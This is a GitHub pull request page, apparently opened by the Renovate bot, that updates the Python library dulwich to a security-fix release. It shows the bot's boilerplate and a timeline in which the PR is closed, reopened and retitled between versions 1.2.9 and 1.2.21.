🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot requested a review from febus982 as a code owner November 9, 2026 17:29
@renovate renovate Bot changed the title Update dependency dulwich to v1.2.9 [SECURITY] Update dependency dulwich to v1.2.9 [SECURITY] - autoclosed Nov 10, 2026
@renovate renovate Bot closed this Nov 10, 2026
@renovate
renovate Bot deleted the renovate/pypi-dulwich-vulnerability branch November 10, 2026 20:45
@renovate renovate Bot changed the title Update dependency dulwich to v1.2.9 [SECURITY] - autoclosed Update dependency dulwich to v1.2.9 [SECURITY] Nov 11, 2026
@renovate renovate Bot reopened this Nov 11, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-dulwich-vulnerability branch from 3d1d6fe to 7b44819 Compare November 11, 2026 03:34
@renovate renovate Bot changed the title Update dependency dulwich to v1.2.9 [SECURITY] Update dependency dulwich to v1.2.21 [SECURITY] Nov 12, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-dulwich-vulnerability branch from 7b44819 to 9e03ed8 Compare November 12, 2026 15:44
@renovate
renovate Bot force-pushed the renovate/pypi-dulwich-vulnerability branch from 9e03ed8 to 09783de Compare November 12, 2026 22:59
@renovate renovate Bot changed the title Update dependency dulwich to v1.2.21 [SECURITY] Update dependency dulwich to v1.2.9 [SECURITY] Nov 12, 2026

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants